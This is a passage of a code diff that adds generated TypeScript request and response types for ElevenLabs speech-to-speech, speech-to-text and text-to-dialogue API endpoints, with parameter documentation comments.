+} + +export type ElevenlabsPostV1SpeechToSpeechVoiceIdResponses = { + '200': ElevenlabsPostV1SpeechToSpeechVoiceIdStatus200 +} + +/** + * @description Union of all possible responses + */ +export type ElevenlabsPostV1SpeechToSpeechVoiceIdResponse = + ElevenlabsPostV1SpeechToSpeechVoiceIdStatus200 + +export type ElevenlabsPostV1SpeechToSpeechVoiceIdStreamPath = { + voice_id: string +} + +export type ElevenlabsPostV1SpeechToSpeechVoiceIdStreamStatus200 = unknown + +export const elevenlabsPostV1SpeechToSpeechVoiceIdStreamRequestFileFormat = { + pcm_s16le_16: 'pcm_s16le_16', + other: 'other', +} as const + +export type ElevenlabsPostV1SpeechToSpeechVoiceIdStreamRequestFileFormatKey = + (typeof elevenlabsPostV1SpeechToSpeechVoiceIdStreamRequestFileFormat)[keyof typeof elevenlabsPostV1SpeechToSpeechVoiceIdStreamRequestFileFormat] + +export type ElevenlabsPostV1SpeechToSpeechVoiceIdStreamBody = { + /** + * @description The audio file which holds the content and emotion that will control the generated speech. + * + * Format: `binary` + * @type string + */ + audio: Blob + /** + * @description Identifier of the model that will be used, you can query them using GET /v1/models. The model needs to have support for speech to speech, you can check this using the can_do_voice_conversion property. + * @default 'eleven_english_sts_v2' + * @type string | undefined + */ + model_id?: string + /** + * @description Voice settings overriding stored settings for the given voice. They are applied only on the given request. Needs to be send as a JSON encoded string. + */ + voice_settings?: string | null + /** + * @description If specified, our system will make a best effort to sample deterministically, such that repeated requests with the same seed and parameters should return the same result. Determinism is not guaranteed. Must be integer between 0 and 4294967295. + * @example 12345 + */ + seed?: number | null + /** + * @description If set, will remove the background noise from your audio input using our audio isolation model. Only applies to Voice Changer. + * @default false + * @example true + * @type boolean | undefined + */ + remove_background_noise?: boolean + /** + * @description The format of input audio. Options are 'pcm_s16le_16' or 'other' For `pcm_s16le_16`, the input audio must be 16-bit PCM at a 16kHz sample rate, single channel (mono), and little-endian byte order. Latency will be lower than with passing an encoded waveform. + * @default other + * @example pcm_s16le_16 + * @example other + */ + file_format?: ElevenlabsPostV1SpeechToSpeechVoiceIdStreamRequestFileFormatKey | null +} + +export type ElevenlabsPostV1SpeechToSpeechVoiceIdStreamOptions = { + body: ElevenlabsPostV1SpeechToSpeechVoiceIdStreamBody + path: ElevenlabsPostV1SpeechToSpeechVoiceIdStreamPath + query?: never + headers?: never +} + +export type ElevenlabsPostV1SpeechToSpeechVoiceIdStreamResponses = { + '200': ElevenlabsPostV1SpeechToSpeechVoiceIdStreamStatus200 +} + +/** + * @description Union of all possible responses + */ +export type ElevenlabsPostV1SpeechToSpeechVoiceIdStreamResponse = + ElevenlabsPostV1SpeechToSpeechVoiceIdStreamStatus200 + +export type ElevenlabsPostV1SpeechToTextStatus200 = + | SpeechToTextChunkResponseModel + | MultichannelSpeechToTextResponseModel + | SpeechToTextWebhookResponseModel + +export const elevenlabsPostV1SpeechToTextRequestTimestampsGranularityEnum = { + none: 'none', + word: 'word', + character: 'character', +} as const + +export type ElevenlabsPostV1SpeechToTextRequestTimestampsGranularityEnumKey = + (typeof elevenlabsPostV1SpeechToTextRequestTimestampsGranularityEnum)[keyof typeof elevenlabsPostV1SpeechToTextRequestTimestampsGranularityEnum] + +export const elevenlabsPostV1SpeechToTextRequestFileFormatEnum = { + pcm_s16le_16: 'pcm_s16le_16', + other: 'other', +} as const + +export type ElevenlabsPostV1SpeechToTextRequestFileFormatEnumKey = + (typeof elevenlabsPostV1SpeechToTextRequestFileFormatEnum)[keyof typeof elevenlabsPostV1SpeechToTextRequestFileFormatEnum] + +export const elevenlabsPostV1SpeechToTextRequestMultichannelOutputStyleEnum = { + separate: 'separate', + combined: 'combined', +} as const + +export type ElevenlabsPostV1SpeechToTextRequestMultichannelOutputStyleEnumKey = + (typeof elevenlabsPostV1SpeechToTextRequestMultichannelOutputStyleEnum)[keyof typeof elevenlabsPostV1SpeechToTextRequestMultichannelOutputStyleEnum] + +export type ElevenlabsPostV1SpeechToTextBody = { + /** + * @description The ID of the model to use for transcription. + * @example scribe_v2 + * @example scribe_v2_medical + * @type string + */ + model_id: string + /** + * @description The file to transcribe (100ms minimum audio length). All major audio and video formats are supported. Exactly one of the file or cloud_storage_url parameters must be provided. The file size must be less than 5.0GB. + */ + file?: Blob | null + /** + * @description An ISO-639-1 or ISO-639-3 language_code corresponding to the language of the audio file. Can sometimes improve transcription performance if known beforehand. Defaults to null, in this case the language is predicted automatically. + */ + language_code?: string | null + /** + * @description Natural-language instruction applied to the final transcript (max 2000 characters). The edited text is returned in 'edited_transcript' alongside the original transcript. Cannot be combined with entity_detection, entity_redaction or use_multi_channel. Usage of this parameter will incur an additional 30% surcharge on the base transcription cost, billed for at least 10 seconds of audio. + */ + transcript_edit?: string | null + /** + * @description Whether to tag audio events like (laughter), (footsteps), etc. in the transcription. + * @default true + * @type boolean | undefined + */ + tag_audio_events?: boolean + /** + * @description The maximum amount of speakers talking in the uploaded file. Can help with predicting who speaks when. The maximum amount of speakers that can be predicted is 32. Defaults to null, in this case the amount of speakers is set to the maximum value the model supports. + */ + num_speakers?: number | null + /** + * @description The granularity of the timestamps in the transcription. 'word' provides word-level timestamps and 'character' provides character-level timestamps per word. + * @default 'word' + * @type string | undefined + */ + timestamps_granularity?: ElevenlabsPostV1SpeechToTextRequestTimestampsGranularityEnumKey + /** + * @description Whether to annotate which speaker is currently talking in the uploaded file. + * @default false + * @type boolean | undefined + */ + diarize?: boolean + /** + * @description Diarization threshold to apply during speaker diarization. A higher value means there will be a lower chance of one speaker being diarized as two different speakers but also a higher chance of two different speakers being diarized as one speaker (less total speakers predicted). A low value means there will be a higher chance of one speaker being diarized as two different speakers but also a lower chance of two different speakers being diarized as one speaker (more total speakers predicted). Can only be set when diarize=True and num_speakers=None. Defaults to None, in which case we will choose a threshold based on the model_id (0.22 usually). + */ + diarization_threshold?: number | null + /** + * @description A list of additional formats to export the transcript to. + * @example [{"format":"srt","include_speakers":true,"include_timestamps":true},{"format":"txt","include_speakers":false}] + * @type array | undefined + */ + additional_formats?: AdditionalFormats + /** + * @description The format of input audio. Options are 'pcm_s16le_16' or 'other' For `pcm_s16le_16`, the input audio must be 16-bit PCM at a 16kHz sample rate, single channel (mono), and little-endian byte order. Latency will be lower than with passing an encoded waveform. + * @default 'other' + * @example pcm_s16le_16 + * @example other + * @type string | undefined + */ + file_format?: ElevenlabsPostV1SpeechToTextRequestFileFormatEnumKey + /** + * @description [Deprecated] This parameter is deprecated and will be removed in the future. Use 'source_url' instead.The HTTPS URL of the file to transcribe. Exactly one of the file or cloud_storage_url parameters must be provided. The file must be accessible via HTTPS and the file size must be less than 2GB. Any valid HTTPS URL is accepted, including URLs from cloud storage providers (AWS S3, Google Cloud Storage, Cloudflare R2, etc.), CDNs, or any other HTTPS source. URLs can be pre-signed or include authentication tokens in query parameters. + * @deprecated + * @example https://storage.googleapis.com/my-bucket/folder/audio.mp3 + * @example https://my-bucket.s3.us-west-2.amazonaws.com/folder/audio.mp3 + * @example https://account123.r2.cloudflarestorage.com/my-bucket/audio.mp3 + * @example https://cdn.example.com/media/audio.wav + */ + cloud_storage_url?: string | null + /** + * @description The URL of an audio or video file to transcribe. Supports hosted video or audio files, YouTube video URLs, TikTok video URLs, and other video hosting services. + * @example https://storage.googleapis.com/my-bucket/folder/audio.mp3 + * @example https://www.youtube.com/watch?v=dQw4w9WgXcQ + * @example https://www.tiktok.com/@barstoolsports/video/7285745795779939614 + */ + source_url?: string | null + /** + * @description Whether to send the transcription result to configured speech-to-text webhooks. If set the request will return early without the transcription, which will be delivered later via webhook. + * @default false + * @type boolean | undefined + */ + webhook?: boolean + /** + * @description Optional specific webhook ID to send the transcription result to. Only valid when webhook is set to true. If not provided, transcription will be sent to all configured speech-to-text webhooks. + */ + webhook_id?: string | null + /** + * @description Controls the randomness of the transcription output. Accepts values between 0.0 and 2.0, where higher values result in more diverse and less deterministic results. If omitted, we will use a temperature based on the model you selected which is usually 0. + */ + temperature?: number | null + /** + * @description If specified, our system will make a best effort to sample deterministically, such that repeated requests with the same seed and parameters should return the same result. Determinism is not guaranteed. Must be an integer between 0 and 2147483647. + * @example 12345 + */ + seed?: number | null + /** + * @description Whether the audio file contains multiple channels where each channel contains a single speaker. When enabled, each channel is transcribed independently. By default a separate transcript is returned per channel; set multichannel_output_style='combined' to instead receive a single transcript with all channels merged and sorted by time. Each word in the response includes a 'channel_index' field indicating which channel it was spoken on. A maximum of 5 channels is supported. Each channel is billed independently at the full audio duration, so cost scales linearly with the number of channels. + * @default false + * @type boolean | undefined + */ + use_multi_channel?: boolean + /** + * @description Controls the response shape when use_multi_channel is enabled. 'separate' (default) returns one transcript per channel under 'transcripts'. 'combined' merges all channels into a single transcript whose words are sorted by start time, each carrying a 'channel_index' - matching the single-channel response shape. 'combined' requires timestamps (timestamps_granularity must not be 'none') and does not support entity detection or redaction. + * @default 'separate' + * @type string | undefined + */ + multichannel_output_style?: ElevenlabsPostV1SpeechToTextRequestMultichannelOutputStyleEnumKey + /** + * @description Optional metadata to be included in the webhook response. This should be a JSON string representing an object with a maximum depth of 2 levels and maximum size of 16KB. Useful for tracking internal IDs, job references, or other contextual information. + * @example {"user_id": "123", "session_id": "abc-def-ghi"} + * @example {"request_type": "interview", "participant_name": "John Doe"} + */ + webhook_metadata?: + | string + | { + [key: string]: unknown + } + | null + /** + * @description Detect entities in the transcript. Can be 'all' to detect all entities, a single entity type or category string, or a list of entity types/categories. Categories include 'pii', 'phi', 'pci', 'other', 'offensive_language'. When enabled, detected entities will be returned in the 'entities' field with their text, type, and character positions. + */ + entity_detection?: string | string[] | null + /** + * @description If true, the transcription will not have any filler words, false starts and non-speech sounds. + * @default false + * @type boolean | undefined + */ + no_verbatim?: boolean + /** + * @description Whether to use the speaker library for identifying known speakers during diarization. When enabled and diarize is true, detected speakers will be matched against registered speakers in the workspace's speaker library. + * @default false + * @type boolean | undefined + */ + use_speaker_library?: boolean + /** + * @description Whether to detect speaker roles (agent vs customer). Requires diarize=true. Cannot be used with use_multi_channel=true. When enabled, speaker_id values will be 'agent' and 'customer' instead of 'speaker_0', 'speaker_1', etc. Usage incurs an additional 10% surcharge on base transcription cost. + * @default false + * @type boolean | undefined + */ + detect_speaker_roles?: boolean + /** + * @description Redact entities from the transcript text. Accepts the same format as entity_detection: 'all', a category ('pii', 'phi'), or specific entity types. Must be a subset of entity_detection. When redaction is enabled, the entities field will not be returned. + */ + entity_redaction?: string | string[] | null + /** + * @description How to format redacted entities. 'redacted' replaces with {REDACTED}, 'entity_type' replaces with {ENTITY_TYPE}, 'enumerated_entity_type' replaces with {ENTITY_TYPE_N} where N enumerates each occurrence. Only used when entity_redaction is set. + * @default 'enumerated_entity_type' + * @type string | undefined + */ + entity_redaction_mode?: string + /** + * @description A list of keyterms to bias the transcription towards. The keyterms are words or phrases you want the model to recognise more accurately. The number of keyterms cannot exceed 1000. The length of each keyterm must be at most 50 characters. Keyterms can contain at most 5 words (after normalisation). For example ["hello", "world", "technical term"]. The following characters are not supported: `<`, `>`, `{`, `}`, `[`, `]`, `\`. Usage of this parameter will incur an additional 20% surcharge on the base transcription cost. When more than 100 keyterms are provided, a minimum billable duration of 20 seconds applies per request. + * @default [] + * @type array | undefined + */ + keyterms?: string[] +} + +export type ElevenlabsPostV1SpeechToTextOptions = { + body: ElevenlabsPostV1SpeechToTextBody + path?: never + query?: never + headers?: never +} + +export type ElevenlabsPostV1SpeechToTextResponses = { + '200': ElevenlabsPostV1SpeechToTextStatus200 +} + +/** + * @description Union of all possible responses + */ +export type ElevenlabsPostV1SpeechToTextResponse = + ElevenlabsPostV1SpeechToTextStatus200 + +/** + * @description + * Format: `binary` + * @type string + */ +export type ElevenlabsPostV1TextToDialogueStatus200 = Blob + +export const elevenlabsPostV1TextToDialogueRequestApplyTextNormalizationEnum = { + auto: 'auto', + on: 'on', + off: 'off', +} as const + +export type ElevenlabsPostV1TextToDialogueRequestApplyTextNormalizationEnumKey = + (typeof elevenlabsPostV1TextToDialogueRequestApplyTextNormalizationEnum)[keyof typeof elevenlabsPostV1TextToDialogueRequestApplyTextNormalizationEnum] + +export type ElevenlabsPostV1TextToDialogueBody = { + /** + * @description A list of dialogue inputs, each containing text and a voice ID which will be converted into speech. The maximum number of unique voice IDs is 10. For reliable generation, keep the total character count across all `inputs[].text` values at or below 2,000 characters per request. Longer requests can terminate early in streaming responses or return a validation error. + * @example [{"text":"Hello, how are you?","voice_id":"bYTqZQo3Jz7LQtmGTgwi"},{"text":"I'm doing well, thank you!","voice_id":"6lCwbsX1yVjD49QmpkTR"}] + * @type array + */ + inputs: DialogueInput[] + /** + * @description Identifier of the model that will be used, you can query them using GET /v1/models. The model needs to have support for text to speech, you can check this using the can_do_text_to_speech property. + * @default 'eleven_v3' + * @type string | undefined + */ + model_id?: string + /** + * @description Language code (ISO 639-1) used to enforce a language for the model and text normalization. If the model does not support the provided language code, it will be ignored. This parameter is not supported for multilingual_v2 models. + * @example en + */ + language_code?: string | null + /** + * @description Settings controlling the dialogue generation. + * @example {"stability":0.5} + */ + settings?: ToDialogueSettingsResponseModel | null + /** + * @description The text that comes immediately before this generation, used to condition the model for prosodic continuity. A maximum of 100 characters can be sent. Not supported by every model. + */ + previous_text?: string | null + /** + * @description The text that comes immediately after this generation, used to condition the model for prosodic continuity. A maximum of 100 characters can be sent. Not supported by every model. + */ + future_text?: string | null + /** + * @description A list of pronunciation dictionary locators (id, version_id) to be applied to the text. They will be applied in order. You may have up to 3 locators per request + * @example [{"pronunciation_dictionary_id":"test","version_id":"id2"}] + */ + pronunciation_dictionary_locators?: + | PronunciationDictionaryVersionLocatorRequestModel[] + | null + /** + * @description If specified, our system will make a best effort to sample deterministically, such that repeated requests with the same seed and parameters should return the same result. Determinism is not guaranteed. Must be integer between 0 and 4294967295. + * @example 12345 + */ + seed?: number | null + /** + * @description This parameter controls text normalization with three modes: 'auto', 'on', and 'off'. When set to 'auto', the system will automatically decide whether to apply text normalization (e.g., spelling out numbers). With 'on', text normalization will always be applied, while with 'off', it will be skipped. + * @default 'auto' + * @example true + * @type string | undefined + */ + apply_text_normalization?: ElevenlabsPostV1TextToDialogueRequestApplyTextNormalizationEnumKey + /** + * @description Whether to use the IVC version of a professional voice. This may improve expressiveness and reduce latency. + * @deprecated + * @example true + */ + use_pvc_as_ivc?: boolean | null + /** + * @description A list of request_ids of dialogue generations that came before this one. Used to condition the model for continuity when splitting a large task into multiple requests. A maximum of 3 request_ids can be sent. The last request_id is the audio which is closest to the current request. Not supported by every model. + */ + previous_request_ids?: string[] | null + /** + * @description A list of request_ids of dialogue generations that come after this one. Useful for maintaining continuity when regenerating a clip in the middle of a sequence. A maximum of 3 request_ids can be sent. The first request_id is the audio which is closest to the current request. Not supported by every model. + */ + next_request_ids?: string[] | null + /** + * @description Audio effects applied to the generated audio. Unknown IDs return 404 with `param` naming the field. Reverb (`environment_id` with `send_level` above 0) and a non-zero `pan` produce stereo audio and are rejected with 400 for `ulaw_*`, `alaw_*`, and `pcm_*` output formats. Effects don't change the cost of the request. + */ + audio_effects?: EffectsSpecInput | null +} + +export type ElevenlabsPostV1TextToDialogueOptions = { + body: ElevenlabsPostV1TextToDialogueBody + path?: never + query?: never + headers?: never +} + +export type ElevenlabsPostV1TextToDialogueResponses = { + '200': ElevenlabsPostV1TextToDialogueStatus200 +} + +/** + * @description Union of all possible responses + */ +export type ElevenlabsPostV1TextToDialogueResponse = + ElevenlabsPostV1TextToDialogueStatus200 + +/** + * @description + * Format: `binary` + * @type string + */ +export type ElevenlabsPostV1TextToDialogueStreamStatus200 = Blob + +export const elevenlabsPostV1TextToDialogueStreamRequestApplyTextNormalizationEnum = + { + auto: 'auto', + on: 'on', + off: 'off', + } as const + +export type ElevenlabsPostV1TextToDialogueStreamRequestApplyTextNormalizationEnumKey = + (typeof elevenlabsPostV1TextToDialogueStreamRequestApplyTextNormalizationEnum)[keyof typeof elevenlabsPostV1TextToDialogueStreamRequestApplyTextNormalizationEnum] + +export type ElevenlabsPostV1TextToDialogueStreamBody = { + /** + * @description A list of dialogue inputs, each containing text and a voice ID which will be converted into speech. The maximum number of unique voice IDs is 10. For reliable generation, keep the total character count across all `inputs[].text` values at or below 2,000 characters per request. Longer requests can terminate early in streaming responses or return a validation error. + * @example [{"text":"Hello, how are you?","voice_id":"bYTqZQo3Jz7LQtmGTgwi"},{"text":"I'm doing well, thank you!","voice_id":"6lCwbsX1yVjD49QmpkTR"}] + * @type array + */ + inputs: DialogueInput[] + /** + * @description Identifier of the model that will be used, you can query them using GET /v1/models. The model needs to have support for text to speech, you can check this using the can_do_text_to_speech property. + * @default 'eleven_v3' + * @type string | undefined + */ + model_id?: string + /** + * @description Language code (ISO 639-1) used to enforce a language for the model and text normalization. If the model does not support the provided language code, it will be ignored. This parameter is not supported for multilingual_v2 models. + * @example en + */ + language_code?: string | null + /** + * @description Settings controlling the dialogue generation. + * @example {"stability":0.5} + */ + settings?: ToDialogueSettingsResponseModel | null + /** + * @description The text that comes immediately before this generation, used to condition the model for prosodic continuity. A maximum of 100 characters can be sent. Not supported by every model. + */ + previous_text?: string | null + /** + * @description The text that comes immediately after this generation, used to condition the model for prosodic continuity. A maximum of 100 characters can be sent. Not supported by every model. + */ + future_text?: string | null + /** + * @description A list of pronunciation dictionary locators (id, version_id) to be applied to the text. They will be applied in order. You may have up to 3 locators per request + * @example [{"pronunciation_dictionary_id":"test","version_id":"id2"}] + */ + pronunciation_dictionary_locators?: + | PronunciationDictionaryVersionLocatorRequestModel[] + | null + /** + * @description If specified, our system will make a best effort to sample deterministically, such that repeated requests with the same seed and parameters should return the same result. Determinism is not guaranteed. Must be integer between 0 and 4294967295. + * @example 12345 + */ + seed?: number | null + /** + * @description This parameter controls text normalization with three modes: 'auto', 'on', and 'off'. When set to 'auto', the system will automatically decide whether to apply text normalization (e.g., spelling out numbers). With 'on', text normalization will always be applied, while with 'off', it will be skipped. + * @default 'auto' + * @example true + * @type string | undefined + */ + apply_text_normalization?: ElevenlabsPostV1TextToDialogueStreamRequestApplyTextNormalizationEnumKey + /** + * @description Whether to use the IVC version of a professional voice. This may improve expressiveness and reduce latency. + * @deprecated + * @example true + */ + use_pvc_as_ivc?: boolean | null + /** + * @description A list of request_ids of dialogue generations that came before this one. Used to condition the model for continuity when splitting a large task into multiple requests. A maximum of 3 request_ids can be sent. The last request_id is the audio which is closest to the current request. Not supported by every model. + */ + previous_request_ids?: string[] | null + /** + * @description A list of request_ids of dialogue generations that come after this one. Useful for maintaining continuity when regenerating a clip in the middle of a sequence. A maximum of 3 request_ids can be sent. The first request_id is the audio which is closest to the current request. Not supported by every model. + */ + next_request_ids?: string[] | null + /** + * @description Audio effects applied to the generated audio. Unknown IDs return 404 with `param` naming the field. Reverb (`environment_id` with `send_level` above 0) and a non-zero `pan` produce stereo audio and are rejected with 400 for `ulaw_*`, `alaw_*`, and `pcm_*` output formats. Effects don't change the cost of the request. + */ + audio_effects?: EffectsSpecInput | null +} + +export type ElevenlabsPostV1TextToDialogueStreamOptions = { + body: ElevenlabsPostV1TextToDialogueStreamBody + path?: never + query?: never + headers?: never +} + +export type ElevenlabsPostV1TextToDialogueStreamResponses = { + '200': ElevenlabsPostV1TextToDialogueStreamStatus200 +} + +/** + * @description Union of all possible responses + */ +export type ElevenlabsPostV1TextToDialogueStreamResponse = + ElevenlabsPostV1TextToDialogueStreamStatus200 + +/** + * @example {"alignment":{"character_end_times_seconds":[0.1,0.2],"character_start_times_seconds":[0,0.1],"characters":["H","e"]},"audio_base64":"base64_encoded_audio_chunk","normalized_alignment":{"character_end_times_seconds":[0.1,0.2],"character_start_times_seconds":[0,0.1],"characters":["H","e"]},"voice_segments":[{"character_end_index":2,"character_start_index":0,"dialogue_input_index":0,"end_time_seconds":0.2,"start_time_seconds":0,"voice_id":"VEDscrYI8uIMttlO2Ztu"}]} + * @type object + */ +export type ElevenlabsPostV1TextToDialogueStreamWithTimestampsStatus200 = { + /** + * @description Base64 encoded audio data + * @type string + */ + audio_base64: string + /** + * @description Timestamp information for each character in the original text + */ + alignment?: CharacterAlignmentResponseModel | null + /** + * @description Timestamp information for each character in the normalized text + */ + normalized_alignment?: CharacterAlignmentResponseModel | null + /** + * @description Voice segments for the audio + * @type array + */ + voice_segments: VoiceSegment[] +} + +export const elevenlabsPostV1TextToDialogueStreamWithTimestampsRequestApplyTextNormalizationEnum = + { + auto: 'auto', + on: 'on', + off: 'off', + } as const + +export type ElevenlabsPostV1TextToDialogueStreamWithTimestampsRequestApplyTextNormalizationEnumKey = + (typeof elevenlabsPostV1TextToDialogueStreamWithTimestampsRequestApplyTextNormalizationEnum)[keyof typeof elevenlabsPostV1TextToDialogueStreamWithTimestampsRequestApplyTextNormalizationEnum] + +export type ElevenlabsPostV1TextToDialogueStreamWithTimestampsBody = { + /** + * @description A list of dialogue inputs, each containing text and a voice ID which will be converted into speech. The maximum number of unique voice IDs is 10. For reliable generation, keep the total character count across all `inputs[].text` values at or below 2,000 characters per request. Longer requests can terminate early in streaming responses or return a validation error. + * @example [{"text":"Hello, how are you?","voice_id":"bYTqZQo3Jz7LQtmGTgwi"},{"text":"I'm doing well, thank you!","voice_id":"6lCwbsX1yVjD49QmpkTR"}] + * @type array + */ + inputs: DialogueInput[] + /** + * @description Identifier of the model that will be used, you can query them using GET /v1/models. The model needs to have support for text to speech, you can check this using the can_do_text_to_speech property. + * @default 'eleven_v3' + * @type string | undefined + */ + model_id?: string + /** + * @description Language code (ISO 639-1) used to enforce a language for the model and text normalization. If the model does not support the provided language code, it will be ignored. This parameter is not supported for multilingual_v2 models. + * @example en + */ + language_code?: string | null + /** + * @description Settings controlling the dialogue generation. + * @example {"stability":0.5} + */ + settings?: ToDialogueSettingsResponseModel | null + /** + * @description A list of pronunciation dictionary locators (id, version_id) to be applied to the text. They will be applied in order. You may have up to 3 locators per request + * @example [{"pronunciation_dictionary_id":"test","version_id":"id2"}] + */ + pronunciation_dictionary_locators?: + | PronunciationDictionaryVersionLocatorRequestModel[] + | null + /** + * @description If specified, our system will make a best effort to sample deterministically, such that repeated requests with the same seed and parameters should return the same result. Determinism is not guaranteed. Must be integer between 0 and 4294967295. + * @example 12345 + */ + seed?: number | null + /** + * @description This parameter controls text normalization with three modes: 'auto', 'on', and 'off'. When set to 'auto', the system will automatically decide whether to apply text normalization (e.g., spelling out numbers). With 'on', text normalization will always be applied, while with 'off', it will be skipped. + * @default 'auto' + * @example true + * @type string | undefined + */ + apply_text_normalization?: ElevenlabsPostV1TextToDialogueStreamWithTimestampsRequestApplyTextNormalizationEnumKey + /** + * @description Whether to use the IVC version of a professional voice. This may improve expressiveness and reduce latency. + * @deprecated + * @example true + */ + use_pvc_as_ivc?: boolean | null + /** + * @description A list of request_ids of dialogue generations that came before this one. Used to condition the model for continuity when splitting a large task into multiple requests. A maximum of 3 request_ids can be sent. The last request_id is the audio which is closest to the current request. Not supported by every model. + */ + previous_request_ids?: string[] | null + /** + * @description A list of request_ids of dialogue generations that come after this one. Useful for maintaining continuity when regenerating a clip in the middle of a sequence. A maximum of 3 request_ids can be sent. The first request_id is the audio which is closest to the current request. Not supported by every model. + */ + next_request_ids?: string[] | null + /** + * @description The text that comes immediately before this generation, used to condition the model for prosodic continuity. A maximum of 100 characters can be sent. Not supported by every model. + */ + previous_text?: string | null + /** + * @description The text that comes immediately after this generation, used to condition the model for prosodic continuity. A maximum of 100 characters can be sent. Not supported by every model. + */ + future_text?: string | null + /** + * @description Audio effects applied to the generated audio. Unknown IDs return 404 with `param` naming the field. Reverb (`environment_id` with `send_level` above 0) and a non-zero `pan` produce stereo audio and are rejected with 400 for `ulaw_*`, `alaw_*`, and `pcm_*` output formats. Effects don't change the cost of the request. + */ + audio_effects?: EffectsSpecInput | null +} + +export type ElevenlabsPostV1TextToDialogueStreamWithTimestampsOptions = { + body: ElevenlabsPostV1TextToDialogueStreamWithTimestampsBody + path?: never + query?: never + headers?: never +} + +export type ElevenlabsPostV1TextToDialogueStreamWithTimestampsResponses = { + '200': ElevenlabsPostV1TextToDialogueStreamWithTimestampsStatus200 +} + +/** + * @description Union of all possible responses + */ +export type ElevenlabsPostV1TextToDialogueStreamWithTimestampsResponse = + ElevenlabsPostV1TextToDialogueStreamWithTimestampsStatus200 + +/** + * @example {"alignment":{"character_end_times_seconds":[0.1,0.2,0.3,0.4,0.5,0.6,0.7],"character_start_times_seconds":[0,0.1,0.2,0.3,0.4,0.5,0.6],"characters":["H","e","l","l","o","H","i"]},"audio_base64":"base64_encoded_audio_string","normalized_alignment":{"character_end_times_seconds":[0.1,0.2,0.3,0.4,0.5,0.6,0.7],"character_start_times_seconds":[0,0.1,0.2,0.3,0.4,0.5,0.6],"characters":["H","e","l","l","o","H","i"]},"voice_segments":[{"character_end_index":5,"character_start_index":0,"dialogue_input_index":0,"end_time_seconds":0.5,"start_time_seconds":0,"voice_id":"21m00Tcm4TlvDq8ikWAM"},{"character_end_index":7,"character_start_index":5,"dialogue_input_index":1,"end_time_seconds":0.7,"start_time_seconds":0.5,"voice_id":"VEDscrYI8uIMttlO2Ztu"}]} + * @type object + */ +export type ElevenlabsPostV1TextToDialogueWithTimestampsStatus200 = { + /** + * @description Base64 encoded audio data + * @type string + */ + audio_base64: string + /** + * @description Timestamp information for each character in the original text + */ + alignment?: CharacterAlignmentResponseModel | null + /** + * @description Timestamp information for each character in the normalized text + */ + normalized_alignment?: CharacterAlignmentResponseModel | null + /** + * @description Voice segments for the audio + * @type array + */ + voice_segments: VoiceSegment[] +} + +export const elevenlabsPostV1TextToDialogueWithTimestampsRequestApplyTextNormalizationEnum = + { + auto: 'auto', + on: 'on', + off: 'off', + } as const + +export type ElevenlabsPostV1TextToDialogueWithTimestampsRequestApplyTextNormalizationEnumKey = + (typeof elevenlabsPostV1TextToDialogueWithTimestampsRequestApplyTextNormalizationEnum)[keyof typeof elevenlabsPostV1TextToDialogueWithTimestampsRequestApplyTextNormalizationEnum] + +export type ElevenlabsPostV1TextToDialogueWithTimestampsBody = { + /** + * @description A list of dialogue inputs, each containing text and a voice ID which will be converted into speech. The maximum number of unique voice IDs is 10. For reliable generation, keep the total character count across all `inputs[].text` values at or below 2,000 characters per request. Longer requests can terminate early in streaming responses or return a validation error. + * @example [{"text":"Hello, how are you?","voice_id":"bYTqZQo3Jz7LQtmGTgwi"},{"text":"I'm doing well, thank you!","voice_id":"6lCwbsX1yVjD49QmpkTR"}] + * @type array + */ + inputs: DialogueInput[] + /** + * @description Identifier of the model that will be used, you can query them using GET /v1/models. The model needs to have support for text to speech, you can check this using the can_do_text_to_speech property. + * @default 'eleven_v3' + * @type string | undefined + */ + model_id?: string + /** + * @description Language code (ISO 639-1) used to enforce a language for the model and text normalization. If the model does not support the provided language code, it will be ignored. This parameter is not supported for multilingual_v2 models. + * @example en + */ + language_code?: string | null + /** + * @description Settings controlling the dialogue generation. + * @example {"stability":0.5} + */ + settings?: ToDialogueSettingsResponseModel | null + /** + * @description A list of pronunciation dictionary locators (id, version_id) to be applied to the text. They will be applied in order. You may have up to 3 locators per request + * @example [{"pronunciation_dictionary_id":"test","version_id":"id2"}] + */ + pronunciation_dictionary_locators?: + | PronunciationDictionaryVersionLocatorRequestModel[] + | null + /** + * @description If specified, our system will make a best effort to sample deterministically, such that repeated requests with the same seed and parameters should return the same result. Determinism is not guaranteed. Must be integer between 0 and 4294967295. + * @example 12345 + */ + seed?: number | null + /** + * @description This parameter controls text normalization with three modes: 'auto', 'on', and 'off'. When set to 'auto', the system will automatically decide whether to apply text normalization (e.g., spelling out numbers). With 'on', text normalization will always be applied, while with 'off', it will be skipped. + * @default 'auto' + * @example true + * @type string | undefined + */ + apply_text_normalization?: ElevenlabsPostV1TextToDialogueWithTimestampsRequestApplyTextNormalizationEnumKey + /** + * @description Whether to use the IVC version of a professional voice. This may improve expressiveness and reduce latency. + * @deprecated + * @example true + */ + use_pvc_as_ivc?: boolean | null + /** + * @description A list of request_ids of dialogue generations that came before this one. Used to condition the model for continuity when splitting a large task into multiple requests. A maximum of 3 request_ids can be sent. The last request_id is the audio which is closest to the current request. Not supported by every model. + */ + previous_request_ids?: string[] | null + /** + * @description A list of request_ids of dialogue generations that come after this one. Useful for maintaining continuity when regenerating a clip in the middle of a sequence. A maximum of 3 request_ids can be sent. The first request_id is the audio which is closest to the current request. Not supported by every model. + */ + next_request_ids?: string[] | null + /** + * @description The text that comes immediately before this generation, used to condition the model for prosodic continuity. A maximum of 100 characters can be sent. Not supported by every model. + */ + previous_text?: string | null + /** + * @description The text that comes immediately after this generation, used to condition the model for prosodic continuity. A maximum of 100 characters can be sent. Not supported by every model. + */ + future_text?: string | null + /** + * @description Audio effects applied to the generated audio. Unknown IDs return 404 with `param` naming the field. Reverb (`environment_id` with `send_level` above 0) and a non-zero `pan` produce stereo audio and are rejected with 400 for `ulaw_*`, `alaw_*`, and `pcm_*` output formats. Effects don't change the cost of the request. + */ + audio_effects?: EffectsSpecInput | null +} + +export type ElevenlabsPostV1TextToDialogueWithTimestampsOptions = { + body: ElevenlabsPostV1TextToDialogueWithTimestampsBody + path?: never + query?: never + headers?: never +} + +export type ElevenlabsPostV1TextToDialogueWithTimestampsResponses = { + '200': ElevenlabsPostV1TextToDialogueWithTimestampsStatus200 +} + +/** + * @description Union of all possible responses + */ +export type ElevenlabsPostV1TextToDialogueWithTimestampsResponse = + ElevenlabsPostV1TextToDialogueWithTimestampsStatus200 + +export type ElevenlabsPostV1TextToSpeechVoiceIdPath = { + voice_id: string +} + +/** + * @description + * Format: `binary` + * @type string + */ +export type ElevenlabsPostV1TextToSpeechVoiceIdStatus200 = Blob + +export const 